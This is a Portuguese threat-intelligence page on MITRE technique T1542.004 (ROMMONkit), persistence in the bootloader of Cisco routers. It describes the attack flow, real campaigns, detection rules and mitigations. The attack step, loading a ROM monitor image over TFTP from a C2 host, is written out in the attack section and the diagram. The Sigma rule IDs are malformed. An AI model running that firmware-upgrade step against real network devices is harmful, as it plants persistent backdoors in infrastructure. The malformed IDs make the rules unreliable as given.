# T1542.004 - ROMMONkit
> [!abstract] Técnica MITRE ATT&CK
> **ID:** T1542.004 | **Tática:** Defense Evasion, Persistence | **Plataformas:** Network Devices (Cisco IOS/IOS-XE)
> **Técnica pai:** [[t1542-pre-os-boot|T1542 - Pre-OS Boot]]
## Descrição
ROMMONkit é uma técnica de persistência e evasão de defesas de alto impacto que explora o bootloader ROM Monitor (ROMMON) de dispositivos de rede Cisco. O ROMMON é o firmware de nível mais baixo em roteadores e switches Cisco que roda IOS ou IOS-XE: ele é executado antes do sistema operacional, responsável pela inicialização do hardware, verificação de integridade da imagem IOS e fornecimento de acesso de recuperação quando o IOS falha.
Adversários que comprometem ROMMON obtêm uma forma de persistência **extremamente resistente**: o implante sobrevive a reinstalações do IOS, resets de configuração (write erase), e até mesmo intervenções de suporte técnico padrão. Como o ROMMON roda antes do IOS, qualquer backdoor implementado nele pode manipular o comportamento do sistema operacional desde o boot - interceptar credenciais, modificar ACLs, criar túneis encobertos - sem que o IOS "legítimo" em execução tenha visibilidade sobre a alteração.
Esta subtécnica faz parte de [[t1542-pre-os-boot|T1542 - Pre-OS Boot]], que agrupa métodos de persistência em camadas abaixo do sistema operacional. ROMMONkit é considerada uma das formas mais sofisticadas de comprometimento de infraestrutura de rede, comparável em impacto ao [[t1542-001-system-firmware|T1542.001 - System Firmware]] em workstations. A técnica foi documentada pela Cisco PSIRT e pela NSA/CISA em alertas sobre grupos de ameaça persistente avançada (APT) com foco em equipamentos de infraestrutura de rede.
> [!danger] Nível de Ameaça: Crítico
> ROMMONkit implica comprometimento total e persistente do dispositivo de rede. Roteadores e switches comprometidos têm visibilidade de TODO o tráfego que passa por eles - incluindo VPNs, autenticação, dados corporativos sensíveis. A remoção requer intervenção física e processo de recuperação específico.
---
## Como Funciona
### Arquitetura ROMMON - Contexto Técnico
O ROMMON é armazenado em memória flash não-volátil separada da imagem IOS. Sua estrutura em dispositivos Cisco inclui:
| Componente | Localização | Função |
|-----------|-------------|--------|
| ROMMON 1 | Flash primário | Boot loader ativo - carregado primeiro |
| ROMMON 2 | Flash secundário | Backup / recuperação |
| IOS Image | Flash/TFTP | Sistema operacional principal |
| Startup Config | NVRAM | Configuração persistente |
O processo de boot segue a sequência: **Power-on → ROMMON 1 → Verificação de integridade IOS → IOS carregado → Configuração aplicada**. Um ROMMON comprometido pode interceptar qualquer passo desta cadeia.
### Vetor de Ataque
Para implantar um ROMMONkit, o adversário precisa de **acesso privilegiado ao dispositivo** - sejá via credenciais administrativas roubadas, exploração de vulnerabilidade no IOS, ou acesso físico. O fluxo de ataque documentado pela Cisco inclui:
1. **Acesso privilegiado**: Obtenção de acesso ao modo EXEC privilegiado (`enable`) ou ao modo de configuração global
2. **Upload da imagem maliciosa**: Via TFTP (técnica relacionada [[t1542-005-tftp-boot|T1542.005 - TFTP Boot]]) ou diretamente da flash do dispositivo
3. **Escrita na flash ROMMON**: Comando `upgrade rom-monitor file tftp://<IP>/<arquivo>` ou variante específica da plataforma
4. **Reinicialização**: O dispositivo reinicia com o ROMMON comprometido
5. **Persistência estabelecida**: O implante sobrevive a qualquer modificação no IOS ou configuração
### Capacidades do Implante ROMMONkit
Uma vez implantado, o ROMMONkit pode:
- **Interceptar credenciais**: Capturar senhas digitadas no console e via SSH antes da autenticação IOS
- **Manipular tráfego**: Implementar redirecionamento de pacotes, sniffing passivo ou modificação de dados em trânsito
- **Criar backdoors**: Implementar mecanismos de acesso que sobrevivem a mudanças de senha e ACLs no IOS
- **Desabilitar logging**: Suprimir entradas de syslog, SNMP traps e NetFlow antes que cheguem ao IOS
- **Exfiltrar tráfego**: Copiar fluxos de dados sensíveis para servidores controlados pelo adversário
- **Mascarar sua presença**: Retornar hash de verificação legítimo ao IOS quando consultado, mesmo com firmware alterado
---
## Attack Flow
```mermaid
graph TB
A([Adversário com Objetivo<br/>de Persistência em Rede]) --> B{Vetor de Acesso Inicial\não Dispositivo}
B -->|Credenciais Roubadas| C[Acesso via SSH/Telnet<br/>Como Admin Privilegiado]
B -->|Exploração IOS| D[CVE em Serviço Exposto<br/>WebUI / SNMP / SSH]
B -->|Acesso Físico| E[Console Serial<br/>Modo ROMMON de Recuperação]
C --> F[Acesso Modo Privilegiado<br/>enable / configure terminal]
D --> F
E --> F
F --> G[Upload de Imagem ROMMON<br/>Maliciosa via TFTP<br/>ou Flash Local]
G --> H[Execução: upgrade rom-monitor<br/>file tftp://C2/rommon.bin]
H --> I[Reinicialização do Dispositivo<br/>reload]
I --> J[ROMMON Comprometido<br/>Carregado no Boot]
J --> K[IOS Carregado Normalmente<br/>Aparência Legítima]
K --> L{Capacidades do Implante}
L --> M[Interceptação de<br/>Credenciais de Login]
L --> N[Sniffing Passivo<br/>de Todo Tráfego]
L --> O[Backdoor Persistente<br/>Resiste a Resets]
L --> P[Supressão de Logs<br/>Syslog / SNMP]
M --> Q([Operação de Espionagem<br/>Longa Duração - Meses/Anos])
N --> Q
O --> Q
P --> Q
style A fill:#d9534f,color:#fff
style Q fill:#d9534f,color:#fff
style J fill:#d9534f,color:#fff
style K fill:#f0ad4e,color:#333
style G fill:#f0ad4e,color:#333
```
---
## Exemplos de Uso por Atores Reais
### SYNful Knock - Campanha Pioneira Documentada (2015)
O caso mais documentado publicamente de ROMMONkit é o **SYNful Knock**, descoberto pela FireEye (Mandiant) em agosto de 2015. O implante comprometeu roteadores Cisco 1841, 2811 e 3825 em múltiplos países - incluindo México, Filipinas, Ucrânia e Índia. O SYNful Knock não era exatamente um ROMMONkit puro (comprometia a imagem IOS), mas demonstrou a viabilidade e o impacto de implantes em firmware de roteadores. O acesso era mantido via pacotes TCP com número de sequência específico, funcionando como um "knock" secreto - daí o nome.
A descoberta desencadeou alertas da Cisco PSIRT e da NSA/CISA sobre a realidade de implantes em equipamentos de rede, levando à documentação da técnica no MITRE ATT&CK.
### Grupos APT com Nexo Estatal - Infraestrutura Crítica
Embora atribuições específicas de ROMMONkit sejam raras em fontes abertas (a técnica é altamente furtiva e atribuições são mantidas em relatórios classificados), alertas conjuntos da NSA, CISA, FBI e parceiros internacionais (2022-2023) documentaram grupos com nexo à China, Rússia e Irã comprometendo roteadores e switches de infraestrutura de ISPs, telecomúnicações e governo. O alerta CISA AA22-320A menciona específicamente técnicas de Pre-OS Boot em dispositivos Cisco como parte do arsenal destes grupos.
### VPNFilter - Botnet de 500.000 Dispositivos (2018)
O **VPNFilter**, malware atribuído ao grupo [[apt28-fancy-bear|APT28 (Fancy Bear)]] pelo FBI e DoJ dos EUA, infectou mais de 500.000 roteadores domésticos e de pequenas empresas em 54 países. Embora não sejá exclusivamente ROMMONkit, o VPNFilter demonstrou a escala e o impacto possível de malware em firmware de dispositivos de rede - incluindo módulo de destructive payload capaz de inutilizar permanentemente o dispositivo e módulo de interceptação de tráfego (packet sniffer para credenciais Modbus/SCADA).
### Contexto Cisco IOS - Vulnerabilidades Relacionadas
ROMMONkit frequentemente se apoia em vulnerabilidades do próprio IOS para obter o acesso inicial necessário. CVEs relevantes incluem falhas no WebUI do IOS-XE (como a série de vulnerabilidades críticas de 2023), no serviço SNMP, e no processamento de pacotes SSH - todos permitindo execução remota de código com privilégios elevados que facilitam a escrita no ROMMON.
---
## Detecção
### Dificuldade Extrema de Detecção
> [!danger] Detecção por Referência Externa
> Um ROMMON comprometido pode retornar qualquer hash de verificação ao IOS que o consulta. A única forma confiável de verificar a integridade do ROMMON é comparar o hash de uma cópia da flash com valores de referência obtidos diretamente da Cisco - não confiar em verificações feitas pelo próprio dispositivo.
**Indicadores de Comprometimento (IoCs comportamentais):**
- Comportamento anômalo de roteamento não explicado por mudanças de configuração
- Tráfego de rede saindo de interfaces de dispositivos de infraestrutura para IPs externos não documentados
- Conexões TFTP não autorizadas do dispositivo para servidores externos
- Resets ou recarregamentos (reload) não programados de dispositivos
- Discrepância entre hash ROMMON reportado pelo IOS e hash calculado externamente
- Versão de ROMMON diferente do esperado para o modelo/plataforma após atualização de IOS
### Verificação de Integridade ROMMON (Procedimento)
```bash
# No dispositivo Cisco (modo privilegiado):
# 1. Verificar versão atual do ROMMON
Router# show version | include ROM
ROM: System Bootstrap, Version 15.6(...)
# 2. Obter hash da região flash onde ROMMON reside
Router# verify /sha512 flash:boot/
# 3. Comparar com hash de referência da Cisco
# Hash de referência obtido em: https://software.cisco.com/download/
# 4. Verificar assinatura criptográfica (IOS-XE com Secure Boot habilitado)
Router# show platform integrity sign nonce 1234
```
### Regra de Detecção - Upload TFTP Não Autorizado para ROMMON
```yaml
title: Upload ROMMON via TFTP não autorizado (T1542.004)
id: f6h4c0e3-9g55-4d77-b143-ch8e3d567890
status: experimental
description: >
Detecta conexões TFTP originadas de dispositivos de infraestrutura de rede
para hosts externos não autorizados - padrão consistente com upload de imagem
ROMMON maliciosa. Requer visibilidade de tráfego de gerência (OOB network).
references:
- https://attack.mitre.org/techniques/T1542/004/
- https://tools.cisco.com/security/center/resources/integrity_assurance.html
author: RunkIntel Detection Engineering
daté: 2026-03-25
tags:
- attack.defense_evasion
- attack.persistence
- attack.t1542.004
logsource:
category: network_connection
product: firewall
detection:
selection_tftp_from_router:
src_ip|cidr:
- '10.0.0.0/8' # Substitua pelos ranges de gerência de infra
- '172.16.0.0/12'
dst_port: 69 # TFTP
protocol: udp
filter_authorized_tftp:
dst_ip|cidr:
- '10.1.1.0/24' # Range autorizado de servidores de gerência
condition: selection_tftp_from_router and not filter_authorized_tftp
falsepositives:
- Atualizações legítimas de IOS via TFTP por equipe de NOC (documentar e excluir)
- Restaurações de configuração via TFTP em jánelas de manutenção
level: critical
```
### Regra de Detecção - Syslog: Comando upgrade rom-monitor
```yaml
title: Execução de upgrade rom-monitor em Dispositivo Cisco (T1542.004)
id: g7i5d1f4-0h66-4e88-c254-di9f4e678901
status: stable
description: >
Detecta a execução do comando 'upgrade rom-monitor' em dispositivos Cisco
via Syslog. Este comando é raramente executado em operações legítimas e
sua presença fora de jánelas de manutenção deve ser investigada imediatamente.
references:
- https://attack.mitre.org/techniques/T1542/004/
author: RunkIntel Detection Engineering
daté: 2026-03-25
tags:
- attack.defense_evasion
- attack.persistence
- attack.t1542.004
logsource:
product: cisco
category: syslog
detection:
selection:
message|contains:
- 'upgrade rom-monitor'
- 'ROMMON upgraded'
- 'ROM Monitor upgrade'
condition: selection
falsepositives:
- Atualização legítima de ROMMON em jánela de manutenção programada com aprovação do CAB
level: critical
```
---
## Mitigação
| ID | Mitigação | Implementação |
|----|-----------|---------------|
| [[m1046-boot-integrity\|M1046 - Boot Integrity]] | Habilitar **Cisco Secure Boot** (disponível em IOS-XE 3.x+): verifica a integridade da imagem ROMMON durante o boot usando assinaturas criptográficas. Verificar compatibilidade com o modelo de hardware. Comando: `boot integrity visible`. |
| [[m1047-audit\|M1047 - Audit]] | Implementar programa de **Network Device Integrity (NDI)**: auditoria periódica de hash de ROMMON comparando com valores de referência da Cisco. Usar a ferramenta oficial Cisco `show platform integrity`. Documentar linha de base (baseline) de cada dispositivo. |
| [[m1031-network-intrusion-prevention\|M1031 - Network Intrusion Prevention]] | Segmentar a rede de gerência (out-of-band management): bloquear TFTP, SSH e acessos de gerência de qualquer fonte não autorizada. Usar listas de acesso (ACL) estritas em interfaces de gerência. Monitorar todo tráfego da rede de gerência. |
| Controle de Acesso Privilegiado | Implementar autenticação multifator (MFA) para acesso a dispositivos de rede críticos. Usar AAA centralizado (TACACS+/RADIUS) com logging de todos os comandos executados (command accounting). Restringir acesso `enable` a bastion hosts monitorados. |
| Atualização de ROMMON | Manter ROMMON atualizado para versões com Secure Boot habilitado. Consultar Cisco Security Advisories regularmente para versões de ROMMON com vulnerabilidades conhecidas. |
| Controle de Versão | Documentar e monitorar versões de ROMMON e IOS para todos os dispositivos de infraestrutura crítica. Alertar sobre qualquer mudança de versão não programada. |
| Segmentação de Rede de Gerência | Isolar rede de gerência (OOB - Out-of-Band) em VLAN dedicada sem acesso à internet. Bloquear TFTP (UDP/69) para qualquer destino não autorizado. Monitorar NetFlow/sFlow da rede de gerência. |
---
## Contexto Brasil/LATAM
> [!warning] Exposição de Infraestrutura Crítica
> O Brasil opera uma das maiores infraestruturas de telecomúnicações da América Latina, com milhares de roteadores e switches Cisco em ISPs, empresas de energia, governo federal e estados. Esta exposição torna o país um alvo prioritário para atores que utilizam ROMMONkit.
### Infraestrutura de Telecomúnicações Brasileira
O Brasil concentra a maior densidade de equipamentos Cisco na América Latina - presente em todas as operadoras de telecomúnicações (Claro, Vivo, TIM, Oi), na infraestrutura de roteamento do backbone da internet (PTTs como o IX.br), e na rede corporativa de grandes empresas e governo. A combinação de volume elevado de equipamentos, equipes de NOC com pressão operacional constante e ciclos de atualização longos cria uma superfície de exposição significativa para ROMMONkit.
### Alerta ANATEL e CGSI
A Agência Nacional de Telecomúnicações (ANATEL) e o Centro de Gestão e Estudos Estratégicos (CGEE) têm públicado orientações sobre segurança de infraestrutura de rede, mas a adoção de controles específicos para integridade de firmware - como Cisco Secure Boot e NDI - ainda é baixa entre operadoras de médio porte e empresas de energia e saneamento que operam redes Cisco.
### Grupos de Ameaça com Histórico de Comprometimento de Redes LATAM
O grupo Sea Turtle ([[g1041-sea-turtle|Sea Turtle]]), documentado comprometendo registradores de DNS e provedores de telecomúnicações do Oriente Médio e Europa, usa [[t1059-008-network-device-cli|T1059.008 - Network Device CLI]] em equipamentos de rede como parte de suas operações. Embora T1542.004 não tenha sido atribuído públicamente ao grupo em LATAM, o perfil de alvo (telcos, ISPs) e as capacidades técnicas são consistentes com a técnica.
Grupos com nexo a estados que têm interesse em espionagem de infraestrutura crítica brasileira (governo, energia, comúnicações) são os atores mais prováveis para ROMMONkit - a técnica requer investimento técnico significativo, compatível com operações de inteligência estatal de longa duração.
### Recomendações Prioritárias para Brasil
- **ISPs e Telecomúnicações**: Implementar programa NDI formal com auditoria trimestral de integridade de ROMMON em todos os equipamentos de borda (PE routers, core switches)
- **Setor de Energia**: Protocolos de segurança para redes OT/ICS frequentemente ignoram infraestrutura Cisco de TI que conecta sistemas de controle - revisar exposição
- **Governo Federal**: A REDE GOV e redes ministeriais utilizam extensivamente equipamentos Cisco - implementar monitoramento centralizado de versões de firmware
- **Todos os Setores**: Habilitar command accounting via TACACS+ para registrar todos os comandos executados em modo privilegiado em dispositivos de rede críticos
---
## Referências
- [MITRE ATT&CK - T1542.004](https://attack.mitre.org/techniques/T1542/004/)
- [Cisco - Network Device Integrity (NDI) Guidance](https://tools.cisco.com/security/center/resources/integrity_assurance.html)
- [FireEye/Mandiant - SYNful Knock Report (2015)](https://www.mandiant.com/resources/synful-knock-acis)
- [NSA/CISA - Network Infrastructure Security Guide](https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF)
- [CISA Advisory AA22-320A - APT Targeting Network Devices](https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-320a)
- [Cisco PSIRT - IOS Secure Boot Configuration Guide](https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_usr_boot/configuration/xe-16/sec-usr-boot-xe-16-book.html)
- [FBI Flash - VPNFilter Multi-Stage Modular Malware (2018)](https://www.ic3.gov/Media/Y2018/PSA180525)
**Técnicas Relacionadas:**
[[t1542-pre-os-boot|T1542 - Pre-OS Boot]] · [[t1542-001-system-firmware|T1542.001 - System Firmware]] · [[t1542-005-tftp-boot|T1542.005 - TFTP Boot]] · [[t1059-008-network-device-cli|T1059.008 - Network Device CLI]] · [[t1600-weaken-encryption|T1600 - Weaken Encryption]] · [[t1562-003-impair-command-history-logging|T1562.003 - Impair Command History Logging]]
**Mitigações Relacionadas:**
[[m1046-boot-integrity|M1046 - Boot Integrity]] · [[m1047-audit|M1047 - Audit]] · [[m1031-network-intrusion-prevention|M1031 - Network Intrusion Prevention]]
---
*Fonte: [MITRE ATT&CK - T1542.004](https://attack.mitre.org/techniques/T1542/004)*